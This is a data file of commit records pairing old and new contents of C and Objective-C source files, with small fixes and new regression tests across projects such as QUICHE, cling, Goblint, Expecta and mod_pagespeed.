{"commit":"60ababaf9ca888c2e74b840ad69188d84883623b","old_file":"quic\/platform\/api\/quic_test.h","new_file":"quic\/platform\/api\/quic_test.h","old_contents":"\/\/ Copyright (c) 2017 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef QUICHE_QUIC_PLATFORM_API_QUIC_TEST_H_\n#define QUICHE_QUIC_PLATFORM_API_QUIC_TEST_H_\n\n#include \"net\/third_party\/quiche\/src\/quic\/platform\/api\/quic_logging.h\"\n#include \"net\/quic\/platform\/impl\/quic_test_impl.h\"\n\nusing QuicFlagSaver = QuicFlagSaverImpl;\n\n\/\/ Defines the base classes to be used in QUIC tests.\nusing QuicTest = QuicTestImpl;\ntemplate <class T>\nusing QuicTestWithParam = QuicTestWithParamImpl<T>;\n\n\/\/ Class which needs to be instantiated in tests which use threads.\nusing ScopedEnvironmentForThreads = ScopedEnvironmentForThreadsImpl;\n\n#define QUIC_TEST_DISABLED_IN_CHROME(name) \\\n  QUIC_TEST_DISABLED_IN_CHROME_IMPL(name)\n\ninline std::string QuicGetTestMemoryCachePath() {\n  return QuicGetTestMemoryCachePathImpl();\n\n#define EXPECT_QUIC_DEBUG_DEATH(condition, message) \\\n  EXPECT_QUIC_DEBUG_DEATH_IMPL(condition, message)\n}\n\n#define QUIC_SLOW_TEST(test) QUIC_SLOW_TEST_IMPL(test)\n\n#endif  \/\/ QUICHE_QUIC_PLATFORM_API_QUIC_TEST_H_\n","new_contents":"\/\/ Copyright (c) 2017 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef QUICHE_QUIC_PLATFORM_API_QUIC_TEST_H_\n#define QUICHE_QUIC_PLATFORM_API_QUIC_TEST_H_\n\n#include \"net\/third_party\/quiche\/src\/quic\/platform\/api\/quic_logging.h\"\n#include \"net\/quic\/platform\/impl\/quic_test_impl.h\"\n\nusing QuicFlagSaver = QuicFlagSaverImpl;\n\n\/\/ Defines the base classes to be used in QUIC tests.\nusing QuicTest = QuicTestImpl;\ntemplate <class T>\nusing QuicTestWithParam = QuicTestWithParamImpl<T>;\n\n\/\/ Class which needs to be instantiated in tests which use threads.\nusing ScopedEnvironmentForThreads = ScopedEnvironmentForThreadsImpl;\n\n#define QUIC_TEST_DISABLED_IN_CHROME(name) \\\n  QUIC_TEST_DISABLED_IN_CHROME_IMPL(name)\n\ninline std::string QuicGetTestMemoryCachePath() {\n  return QuicGetTestMemoryCachePathImpl();\n}\n\n#define EXPECT_QUIC_DEBUG_DEATH(condition, message) \\\n  EXPECT_QUIC_DEBUG_DEATH_IMPL(condition, message)\n\n#define QUIC_SLOW_TEST(test) QUIC_SLOW_TEST_IMPL(test)\n\n#endif  \/\/ QUICHE_QUIC_PLATFORM_API_QUIC_TEST_H_\n","subject":"Fix one curly brace placement in test code","message":"Fix one curly brace placement in test code\n\ngfe-relnote: n\/a, test-only\nPiperOrigin-RevId: 303203726\nChange-Id: I26a7ad68cc83ecd85fe59c5af5998b318302c9a7\n","lang":"C","license":"bsd-3-clause","repos":"google\/quiche,google\/quiche,google\/quiche,google\/quiche"}
{"commit":"19c6935dad2d04738b1d4289ac2e2791cf7e2569","old_file":"rr_impl.c","new_file":"rr_impl.c","old_contents":"\/**\n * rr_impl.c\n *\n * Implementation of functionality specific to round-robin scheduling.\n *\/\n\n#include \"rr_impl.h\"\n\nvoid rr_wake_worker(thread_info_t *info) {\n  \/\/ TODO\n}\n\nvoid rr_wait_for_worker(sched_queue_t *queue) {\n  \/\/ TODO\n}\n","new_contents":"\/**\n * rr_impl.c\n *\n * Implementation of functionality specific to round-robin scheduling.\n *\/\n\n#include \"rr_impl.h\"\n\nvoid rr_wake_worker(thread_info_t *info) {\n  \/\/ TODO\n}\n\nvoid rr_wait(sched_queue_t *queue) {\n  \/\/ TODO\n}\n","subject":"Revert change to rr_wait name","message":"Revert change to rr_wait name\n","lang":"C","license":"unlicense","repos":"nealian\/cse325_project4"}
{"commit":"72db37d52802027c30b38181de09413d7ceb8f17","old_file":"Source\/Objects\/GTLBatchQuery.h","new_file":"Source\/Objects\/GTLBatchQuery.h","old_contents":"\/* Copyright (c) 2011 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/\/\n\/\/  GTLBatchQuery.h\n\/\/\n\n#import \"GTLQuery.h\"\n\n@interface GTLBatchQuery : NSObject <GTLQueryProtocol> {\n @private\n  NSMutableArray *queries_;\n  NSMutableDictionary *requestIDMap_;\n  BOOL skipAuthorization_;\n}\n\n\/\/ Queries included in this batch.  Each query should have a unique requestID.\n@property (retain) NSArray *queries;\n\n\/\/ Clients may set this to NO to disallow authorization. Defaults to YES.\n@property (assign) BOOL shouldSkipAuthorization;\n\n+ (id)batchQuery;\n+ (id)batchQueryWithQueries:(NSArray *)array;\n\n- (void)addQuery:(GTLQuery *)query;\n\n- (GTLQuery *)queryForRequestID:(NSString *)requestID;\n\n@end\n","new_contents":"\/* Copyright (c) 2011 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/\/\n\/\/  GTLBatchQuery.h\n\/\/\n\n#import \"GTLQuery.h\"\n\n@interface GTLBatchQuery : NSObject <GTLQueryProtocol> {\n @private\n  NSMutableArray *queries_;\n  NSMutableDictionary *requestIDMap_;\n  BOOL skipAuthorization_;\n}\n\n\/\/ Queries included in this batch.  Each query should have a unique requestID.\n@property (retain) NSArray *queries;\n\n\/\/ Clients may set this to YES to disallow authorization. Defaults to NO.\n@property (assign) BOOL shouldSkipAuthorization;\n\n+ (id)batchQuery;\n+ (id)batchQueryWithQueries:(NSArray *)array;\n\n- (void)addQuery:(GTLQuery *)query;\n\n- (GTLQuery *)queryForRequestID:(NSString *)requestID;\n\n@end\n","subject":"Fix comment on shouldSkipAuthorization property","message":"Fix comment on shouldSkipAuthorization property","lang":"C","license":"apache-2.0","repos":"justinhouse\/google-api-objectivec-client,nanthi1990\/google-api-objectivec-client,CarlosTrejo\/google-api-objectivec-client,JonasGessner\/google-api-objectivec-client,creationst\/google-api-objectivec-client,daffodilistic\/google-api-objectivec-client,clody\/google-api-objectivec-client,JonasGessner\/google-api-objectivec-client,johndpope\/google-api-objectivec-client,TigrilloInc\/google-api-objectivec-client,alimills\/google-api-swift-client,SheltonWan\/google-api-objectivec-client"}
{"commit":"3d69da22fd2a3aef7f34bdaddd379b8c8a57442a","old_file":"include\/cling\/Interpreter\/CIFactory.h","new_file":"include\/cling\/Interpreter\/CIFactory.h","old_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author:  Axel Naumann <axel@cern.ch>\n\/\/\n\/\/ This file is dual-licensed: you can choose to license it under the University\n\/\/ of Illinois Open Source License or the GNU Lesser General Public License. See\n\/\/ LICENSE.TXT for details.\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_CIFACTORY_H\n#define CLING_CIFACTORY_H\n\n#include \"clang\/Frontend\/CompilerInstance.h\"\n\n#include \"llvm\/ADT\/StringRef.h\"\n\nnamespace llvm {\n  class LLVMContext;\n  class MemoryBuffer;\n}\n\nnamespace clang {\n  class DiagnosticsEngine;\n}\n\nnamespace cling {\n  class DeclCollector;\n  class CIFactory {\n  public:\n    \/\/ TODO: Add overload that takes file not MemoryBuffer\n    static clang::CompilerInstance* createCI(llvm::StringRef code,\n                                             int argc,\n                                             const char* const *argv,\n                                             const char* llvmdir);\n\n    static clang::CompilerInstance* createCI(llvm::MemoryBuffer* buffer,\n                                             int argc,\n                                             const char* const *argv,\n                                             const char* llvmdir,\n                                             DeclCollector* stateCollector);\n  private:\n    \/\/---------------------------------------------------------------------\n    \/\/! Constructor\n    \/\/---------------------------------------------------------------------\n    CIFactory() {}\n    ~CIFactory() {}\n    static void SetClingCustomLangOpts(clang::LangOptions& Opts);\n    static void SetClingTargetLangOpts(clang::LangOptions& Opts,\n                                       const clang::TargetInfo& Target);\n  };\n} \/\/ namespace cling\n#endif \/\/ CLING_CIFACTORY_H\n","new_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author:  Axel Naumann <axel@cern.ch>\n\/\/\n\/\/ This file is dual-licensed: you can choose to license it under the University\n\/\/ of Illinois Open Source License or the GNU Lesser General Public License. See\n\/\/ LICENSE.TXT for details.\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_CIFACTORY_H\n#define CLING_CIFACTORY_H\n\n#include \"clang\/Frontend\/CompilerInstance.h\"\n\n#include \"llvm\/ADT\/StringRef.h\"\n\nnamespace llvm {\n  class LLVMContext;\n  class MemoryBuffer;\n}\n\nnamespace clang {\n  class DiagnosticsEngine;\n}\n\nnamespace cling {\n  class DeclCollector;\n  class CIFactory {\n  public:\n    \/\/ TODO: Add overload that takes file not MemoryBuffer\n    static clang::CompilerInstance* createCI(llvm::StringRef code,\n                                             int argc,\n                                             const char* const *argv,\n                                             const char* llvmdir);\n\n    static clang::CompilerInstance* createCI(llvm::MemoryBuffer* buffer,\n                                             int argc,\n                                             const char* const *argv,\n                                             const char* llvmdir,\n                                             DeclCollector* stateCollector);\n  private:\n    \/\/---------------------------------------------------------------------\n    \/\/! Constructor\n    \/\/---------------------------------------------------------------------\n    CIFactory() = delete;\n    ~CIFactory() = delete;\n  };\n} \/\/ namespace cling\n#endif \/\/ CLING_CIFACTORY_H\n","subject":"Remove unneeded static member decls; mark c'tor, d'tor as deleted.","message":"Remove unneeded static member decls; mark c'tor, d'tor as deleted.\n","lang":"C","license":"lgpl-2.1","repos":"root-mirror\/cling,karies\/cling,perovic\/cling,perovic\/cling,marsupial\/cling,root-mirror\/cling,root-mirror\/cling,root-mirror\/cling,marsupial\/cling,root-mirror\/cling,marsupial\/cling,marsupial\/cling,karies\/cling,perovic\/cling,marsupial\/cling,perovic\/cling,marsupial\/cling,karies\/cling,karies\/cling,perovic\/cling,karies\/cling,karies\/cling,root-mirror\/cling"}
{"commit":"dbd6b3e85542d816e7d912a817fc430353c73068","old_file":"tests\/regression\/15-deadlock\/19-fail_deadlock.c","new_file":"tests\/regression\/15-deadlock\/19-fail_deadlock.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.activated[+] deadlock --enable sem.lock.fail\n#include <pthread.h>\n#include <stdio.h>\n\nint g1, g2;\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t1(void *arg) {\n  pthread_mutex_lock(&mutex1);\n  pthread_mutex_lock(&mutex2); \/\/ DEADLOCK\n  g1 = g2 + 1;\n  pthread_mutex_unlock(&mutex2);\n  pthread_mutex_unlock(&mutex1);\n  return NULL;\n}\n\nvoid *t2(void *arg) {\n  pthread_mutex_lock(&mutex2);\n  pthread_mutex_lock(&mutex1); \/\/ DEADLOCK\n  g2 = g1 + 1;\n  pthread_mutex_unlock(&mutex1);\n  pthread_mutex_unlock(&mutex2);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id1, id2;\n  int i;\n  for (i = 0; i < 10000; i++) {\n    pthread_create(&id1, NULL, t1, NULL);\n    pthread_create(&id2, NULL, t2, NULL);\n    pthread_join (id1, NULL);\n    pthread_join (id2, NULL);\n    printf(\"%d: g1 = %d, g2 = %d.\\n\", i, g1, g2);\n  }\n  return 0;\n}\n","subject":"Test mutexEvents based deadlock with failing locks","message":"Test mutexEvents based deadlock with failing locks\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"c37054eec60c9424923ec895d7dc23d744cd0b53","old_file":"Expecta\/Expecta.h","new_file":"Expecta\/Expecta.h","old_contents":"#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for Expecta.\nFOUNDATION_EXPORT double ExpectaVersionNumber;\n\n\/\/! Project version string for Expecta.\nFOUNDATION_EXPORT const unsigned char ExpectaVersionString[];\n\n#import <Expecta\/ExpectaObject.h>\n#import <Expecta\/ExpectaSupport.h>\n#import <Expecta\/EXPMatchers.h>\n\n\/\/ Enable shorthand by default\n#define expect(...) EXP_expect((__VA_ARGS__))\n#define failure(...) EXP_failure((__VA_ARGS__))","new_contents":"#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for Expecta.\nFOUNDATION_EXPORT double ExpectaVersionNumber;\n\n\/\/! Project version string for Expecta.\nFOUNDATION_EXPORT const unsigned char ExpectaVersionString[];\n\n#import <Expecta\/ExpectaObject.h>\n#import <Expecta\/ExpectaSupport.h>\n#import <Expecta\/EXPMatchers.h>\n\n\/\/ Enable shorthand by default\n#define expect(...) EXP_expect((__VA_ARGS__))\n#define failure(...) EXP_failure((__VA_ARGS__))\n","subject":"Add newline to the end of the umbrella header","message":"Add newline to the end of the umbrella header\n","lang":"C","license":"mit","repos":"tonyarnold\/expecta,Lightricks\/expecta,modocache\/expecta,modocache\/expecta,suxinde2009\/expecta,iosdev-republicofapps\/expecta,tonyarnold\/expecta,udemy\/expecta,suxinde2009\/expecta,PatrykKaczmarek\/expecta,wessmith\/expecta,modocache\/expecta,iosdev-republicofapps\/expecta,specta\/expecta,Bogon\/expecta,jmburges\/expecta,jmoody\/expecta,PatrykKaczmarek\/expecta,Lightricks\/expecta,jmoody\/expecta,iguchunhui\/expecta,wessmith\/expecta,iosdev-republicofapps\/expecta,PatrykKaczmarek\/expecta,iosdev-republicofapps\/expecta,PatrykKaczmarek\/expecta,udemy\/expecta,jmburges\/expecta,tonyarnold\/expecta,jmoody\/expecta,Bogon\/expecta,jmburges\/expecta,jmoody\/expecta,modocache\/expecta,iguchunhui\/expecta,tonyarnold\/expecta,jmburges\/expecta"}
{"commit":"40b4170a0ccd05ae95589f55d989f0727f060367","old_file":"ios\/template\/GMPExample\/AppDelegate.h","new_file":"ios\/template\/GMPExample\/AppDelegate.h","old_contents":"\/\/\n\/\/  Copyright (c) 2015 Google Inc.\n\/\/\n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/\n\/\/  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface AppDelegate : UIResponder <UIApplicationDelegate>\n\n@property (strong, nonatomic) UIWindow *window;\n\n@end\n","new_contents":"\/\/\n\/\/  Copyright (c) 2015 Google Inc.\n\/\/\n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/\n\/\/  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface AppDelegate : UIResponder <UIApplicationDelegate>\n\n@property (nonatomic, strong) UIWindow *window;\n\n@end\n","subject":"Fix order of property attributes","message":"Fix order of property attributes\n\nChange-Id: I7a313d25a6707bada03328b0799300f07a26ba3b\n","lang":"C","license":"apache-2.0","repos":"martijndebruijn\/google-services,martijndebruijn\/google-services,martijndebruijn\/google-services,martijndebruijn\/google-services"}
{"commit":"3cc1b3d340ecf3a2b742ce6d32fa4a47f457af0f","old_file":"src\/log.c","new_file":"src\/log.c","old_contents":"\n#include <imageloader.h>\n\n#include \"context.h\"\n\n#include <stdio.h>\n#include <stdarg.h>\n\nvoid print_to_log(ImgloadContext ctx, ImgloadLogLevel level, const char* format, ...)\n{\n\tif (!ctx->log.handler)\n\t{\n\t\treturn;\n\t}\n\n\tif (level < ctx->log.minLevel)\n\t{\n\t\treturn;\n\t}\n\n\tchar buffer[1024];\n\tva_list args;\n\tva_start(args, format);\n\tvsnprintf(buffer, sizeof(buffer) \/ sizeof(buffer[0]), format, args);\n\n\tctx->log.handler(ctx->log.ud, level, buffer);\n\n\tva_end(args);\n}","new_contents":"\n#include <imageloader.h>\n\n#include \"log.h\"\n#include \"context.h\"\n\n#include <stdio.h>\n#include <stdarg.h>\n\nvoid print_to_log(ImgloadContext ctx, ImgloadLogLevel level, const char* format, ...)\n{\n\tif (!ctx->log.handler)\n\t{\n\t\treturn;\n\t}\n\n\tif (level < ctx->log.minLevel)\n\t{\n\t\treturn;\n\t}\n\n\tchar buffer[1024];\n\tva_list args;\n\tva_start(args, format);\n\tvsnprintf(buffer, sizeof(buffer) \/ sizeof(buffer[0]), format, args);\n\n\tctx->log.handler(ctx->log.ud, level, buffer);\n\n\tva_end(args);\n}","subject":"Include the header in the source file","message":"Include the header in the source file\n","lang":"C","license":"mit","repos":"asarium\/imageloader,asarium\/imageloader,asarium\/imageloader"}
{"commit":"85f93b1bcff3ae1eb6b65bb932a982f29eb456cf","old_file":"problem_007.c","new_file":"problem_007.c","old_contents":"","new_contents":"#include <stdio.h>\n\n#include \"euler.h\"\n\n#define PROBLEM 7\n#define ANSWER 104743\n\nint\nis_prime(int num)\n{\n    if(num < 2) {\n        return 0;\n    } else if(num == 2) {\n        return 1;\n    }\n\n    for(int y = 2; y < num; y++) {\n        if(num % y == 0) {\n            return 0;\n        }\n    }\n    return 1;\n}\n\nint\nmain(int argc, char **argv)\n{\n    int number = 0, found = 0;\n\n    do {\n        number++;\n        if(is_prime(number)) {\n            found++;\n        }\n    } while(found < 10001);\n    return check(PROBLEM, ANSWER, number);\n}\n","subject":"Add solution for problem 7","message":"Add solution for problem 7\n","lang":"C","license":"bsd-2-clause","repos":"skreuzer\/euler"}
{"commit":"d952cdee083b9b4a5af4f6d58cbda03add196ceb","old_file":"src\/net\/instaweb\/util\/public\/re2.h","new_file":"src\/net\/instaweb\/util\/public\/re2.h","old_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/\/ Author: gagansingh@google.com (Gagan Singh)\n\n#ifndef NET_INSTAWEB_UTIL_PUBLIC_RE2_H_\n#define NET_INSTAWEB_UTIL_PUBLIC_RE2_H_\n\n#include \"net\/instaweb\/util\/public\/string_util.h\"\n\n#include \"third_party\/re2\/src\/re2\/re2.h\"\n\nusing re2::RE2;\n\n\/\/ Converts a Google StringPiece into an RE2 StringPiece.  These are of course\n\/\/ the same basic thing but are declared in distinct namespaces and as far as\n\/\/ C++ type-checking is concerned they are incompatible.\n\/\/\n\/\/ TODO(jmarantz): In the re2 code itself there are no references to\n\/\/ re2::StringPiece, always just plain StringPiece, so if we can\n\/\/ arrange to get the right definition #included we should be all set.\n\/\/ We could somehow rewrite '#include \"re2\/stringpiece.h\"' to\n\/\/ #include Chromium's stringpiece then everything would just work.\ninline re2::StringPiece StringPieceToRe2(StringPiece sp) {\n  return re2::StringPiece(sp.data(), sp.size());\n}\n\n\n#endif  \/\/ NET_INSTAWEB_UTIL_PUBLIC_RE2_H_\n","new_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/\/ Author: gagansingh@google.com (Gagan Singh)\n\n#ifndef NET_INSTAWEB_UTIL_PUBLIC_RE2_H_\n#define NET_INSTAWEB_UTIL_PUBLIC_RE2_H_\n\n\/\/ TODO(morlovich): Remove this forwarding header and change all references.\n#include \"pagespeed\/kernel\/util\/re2.h\"\n\n#endif  \/\/ NET_INSTAWEB_UTIL_PUBLIC_RE2_H_\n","subject":"Make this a proper forwarding header rather than a duplication what's under pagespeed\/util\/","message":"Make this a proper forwarding header rather than\na duplication what's under pagespeed\/util\/\n","lang":"C","license":"apache-2.0","repos":"patricmutwiri\/mod_pagespeed,pagespeed\/mod_pagespeed,patricmutwiri\/mod_pagespeed,webhost\/mod_pagespeed,patricmutwiri\/mod_pagespeed,ajayanandgit\/mod_pagespeed,webscale-networks\/mod_pagespeed,patricmutwiri\/mod_pagespeed,hashashin\/src,VersoBit\/mod_pagespeed,patricmutwiri\/mod_pagespeed,webscale-networks\/mod_pagespeed,webhost\/mod_pagespeed,jalonsoa\/mod_pagespeed,jalonsoa\/mod_pagespeed,jalonsoa\/mod_pagespeed,ajayanandgit\/mod_pagespeed,VersoBit\/mod_pagespeed,webscale-networks\/mod_pagespeed,hashashin\/src,VersoBit\/mod_pagespeed,wanrui\/mod_pagespeed,webhost\/mod_pagespeed,webscale-networks\/mod_pagespeed,webscale-networks\/mod_pagespeed,ajayanandgit\/mod_pagespeed,wanrui\/mod_pagespeed,VersoBit\/mod_pagespeed,wanrui\/mod_pagespeed,patricmutwiri\/mod_pagespeed,hashashin\/src,pagespeed\/mod_pagespeed,webhost\/mod_pagespeed,hashashin\/src,ajayanandgit\/mod_pagespeed,patricmutwiri\/mod_pagespeed,webhost\/mod_pagespeed,webscale-networks\/mod_pagespeed,pagespeed\/mod_pagespeed,wanrui\/mod_pagespeed,webhost\/mod_pagespeed,webhost\/mod_pagespeed,webscale-networks\/mod_pagespeed,wanrui\/mod_pagespeed,VersoBit\/mod_pagespeed,pagespeed\/mod_pagespeed,hashashin\/src,pagespeed\/mod_pagespeed,jalonsoa\/mod_pagespeed,hashashin\/src,webscale-networks\/mod_pagespeed,jalonsoa\/mod_pagespeed,patricmutwiri\/mod_pagespeed,pagespeed\/mod_pagespeed,jalonsoa\/mod_pagespeed,hashashin\/src,VersoBit\/mod_pagespeed,VersoBit\/mod_pagespeed,ajayanandgit\/mod_pagespeed,jalonsoa\/mod_pagespeed,ajayanandgit\/mod_pagespeed,wanrui\/mod_pagespeed,hashashin\/src,ajayanandgit\/mod_pagespeed,wanrui\/mod_pagespeed,pagespeed\/mod_pagespeed,ajayanandgit\/mod_pagespeed,wanrui\/mod_pagespeed,webhost\/mod_pagespeed,jalonsoa\/mod_pagespeed"}
{"commit":"2c23625aeeb91c496f68abd812eab53b6d87bae5","old_file":"arch\/loongson\/include\/vmparam.h","new_file":"arch\/loongson\/include\/vmparam.h","old_contents":"\/*\t$OpenBSD: vmparam.h,v 1.3 2011\/03\/23 16:54:35 pirofti Exp $ *\/\n\/* public domain *\/\n#ifndef _MACHINE_VMPARAM_H_\n#define _MACHINE_VMPARAM_H_\n\n#define\tVM_PHYSSEG_MAX\t\t2 \/* Max number of physical memory segments *\/\n#define\tVM_PHYSSEG_STRAT\tVM_PSTRAT_BIGFIRST\n\n#include <mips64\/vmparam.h>\n\n#endif\t\/* _MACHINE_VMPARAM_H_ *\/\n","new_contents":"\/*\t$OpenBSD: vmparam.h,v 1.4 2014\/03\/27 21:58:13 miod Exp $ *\/\n\/* public domain *\/\n#ifndef _MACHINE_VMPARAM_H_\n#define _MACHINE_VMPARAM_H_\n\n#define\tVM_PHYSSEG_MAX\t\t3 \/* Max number of physical memory segments *\/\n#define\tVM_PHYSSEG_STRAT\tVM_PSTRAT_BIGFIRST\n\n#include <mips64\/vmparam.h>\n\n#endif\t\/* _MACHINE_VMPARAM_H_ *\/\n","subject":"Increase VM_PHYSSEG_MAX, necessary for systems with non-contiguous memory (such as 2E and 3A systems).","message":"Increase VM_PHYSSEG_MAX, necessary for systems with non-contiguous memory\n(such as 2E and 3A systems).\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"b191b25f364aa679173756114884231b4314eb24","old_file":"tests\/file_utils_tests.c","new_file":"tests\/file_utils_tests.c","old_contents":"#include \"minunit.h\"\n#include <terror\/file_utils.h>\n#include <assert.h>\n\nchar *test_getlines()\n{\n  bstring str = bfromcstr(\"one\\ntwo\\nthree\\nfour\\nfive\\n\");\n  struct bstrList *file = bsplit(str, '\\n');\n\n  DArray *lines = getlines(file, 2, 4);\n\n  mu_assert(DArray_count(lines) == 3, \"Wrong number of lines.\");\n  mu_assert(bstrcmp((bstring)DArray_at(lines, 0), bfromcstr(\"two\")) == 0, \"First line is wrong.\");\n  mu_assert(bstrcmp((bstring)DArray_at(lines, 1), bfromcstr(\"three\")) == 0, \"Second line is wrong.\");\n  mu_assert(bstrcmp((bstring)DArray_at(lines, 2), bfromcstr(\"four\")) == 0, \"Third line is wrong.\");\n\n  return NULL;\n}\n\nchar *all_tests() {\n  mu_suite_start();\n\n  mu_run_test(test_getlines);\n\n  return NULL;\n}\n\nRUN_TESTS(all_tests);\n","new_contents":"#include \"minunit.h\"\n#include <terror\/file_utils.h>\n#include <assert.h>\n\nchar *test_getlines()\n{\n  bstring str = bfromcstr(\"one\\ntwo\\nthree\\nfour\\nfive\\n\");\n  struct bstrList *file = bsplit(str, '\\n');\n\n  DArray *lines = getlines(file, 2, 4);\n\n  bstring two = bfromcstr(\"two\");\n  bstring three = bfromcstr(\"three\");\n  bstring four = bfromcstr(\"four\");\n\n  mu_assert(DArray_count(lines) == 3, \"Wrong number of lines.\");\n  mu_assert(bstrcmp((bstring)DArray_at(lines, 0), two) == 0, \"First line is wrong.\");\n  mu_assert(bstrcmp((bstring)DArray_at(lines, 1), three) == 0, \"Second line is wrong.\");\n  mu_assert(bstrcmp((bstring)DArray_at(lines, 2), four) == 0, \"Third line is wrong.\");\n\n  bstrListDestroy(file);\n  bdestroy(str);\n  bdestroy(two);\n  bdestroy(three);\n  bdestroy(four);\n  DArray_destroy(lines);\n\n  return NULL;\n}\n\nchar *all_tests() {\n  mu_suite_start();\n\n  mu_run_test(test_getlines);\n\n  return NULL;\n}\n\nRUN_TESTS(all_tests);\n","subject":"Make file utils tests valgrind-kosher","message":"Make file utils tests valgrind-kosher\n","lang":"C","license":"mit","repos":"txus\/terrorvm,txus\/terrorvm,txus\/terrorvm,txus\/terrorvm"}
{"commit":"8a27a0ecdcdb99fbeedd793be114a9f99a84491d","old_file":"tests\/regression\/36-apron\/97-no-loc.c","new_file":"tests\/regression\/36-apron\/97-no-loc.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set ana.activated[+] apron --set ana.path_sens[+] threadflag --set ana.activated[+] threadJoins --sets ana.apron.privatization mutex-meet-tid --disable ana.thread.include-loc\n#include <pthread.h>\n#include <assert.h>\n\nint g = 10;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_benign(void *arg) {\n  pthread_mutex_lock(&A);\n  g = 20;\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  int t;\n\n  \/\/ Force multi-threaded handling\n  pthread_t id2;\n\n  if(t) {\n    pthread_create(&id2, NULL, t_benign, NULL);\n  } else {\n    pthread_create(&id2, NULL, t_benign, NULL);\n  }\n\n  pthread_join(id2, NULL);\n\n\n  pthread_mutex_lock(&A);\n  g = 12;\n  pthread_mutex_unlock(&A);\n\n  pthread_mutex_lock(&A);\n  assert(g == 12);\n  pthread_mutex_unlock(&A);\n\n  return 0;\n}\n","subject":"Add example that gets more precise when the location is not part of the TID","message":"Add example that gets more precise when the location is not part of the TID\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
